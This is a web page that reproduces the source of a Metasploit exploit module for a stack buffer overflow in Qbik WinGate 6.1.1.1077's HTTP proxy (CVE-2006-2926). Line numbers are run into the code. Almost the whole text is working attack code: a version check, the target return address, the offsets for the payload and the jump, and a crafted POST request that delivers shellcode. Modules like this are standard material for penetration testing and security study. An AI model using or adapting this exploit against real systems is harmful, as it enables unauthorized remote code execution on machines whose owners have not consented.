Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Qbik WinGate version156.1.1.1077 and earlier. By sending malformed HTTP POST URL to the16HTTP proxy service on port 80, a remote attacker could overflow17a buffer and execute arbitrary code.18},19'Author' => 'aushack',20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2006-2926' ],24[ 'OSVDB', '26214' ],25[ 'BID', '18312' ],26],27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30'AllowWin32SEH' => true31},32'Payload' =>33{34'Space' => 1000,35'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",36'EncoderType' => Msf::Encoder::Type::AlphanumMixed,37'StackAdjustment' => -3500,38},39'Platform' => 'win',40'Targets' =>41[42[ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi43],44'Privileged' => true,45'DisclosureDate' => '2006-06-07',46'DefaultTarget' => 0))4748register_options(49[50Opt::RPORT(80)51])52end5354def check55connect56sock.put("GET /\r\n\r\n") # Malformed request to get proxy info57banner = sock.get_once || ''58if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)59return Exploit::CheckCode::Appears60end61return Exploit::CheckCode::Safe62end6364def exploit65connect6667print_status("Trying target #{target.name}...")6869buff = Rex::Text.rand_text_alphanumeric(3000)70buff[1200, 1000] = payload.encoded # jmp here71buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi72buff[2284, 4] = [target['Ret']].pack('V') #eip7374sploit = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"7576sock.put(sploit)77sock.get_once(-1, 3)7879handler80disconnect81end82end838485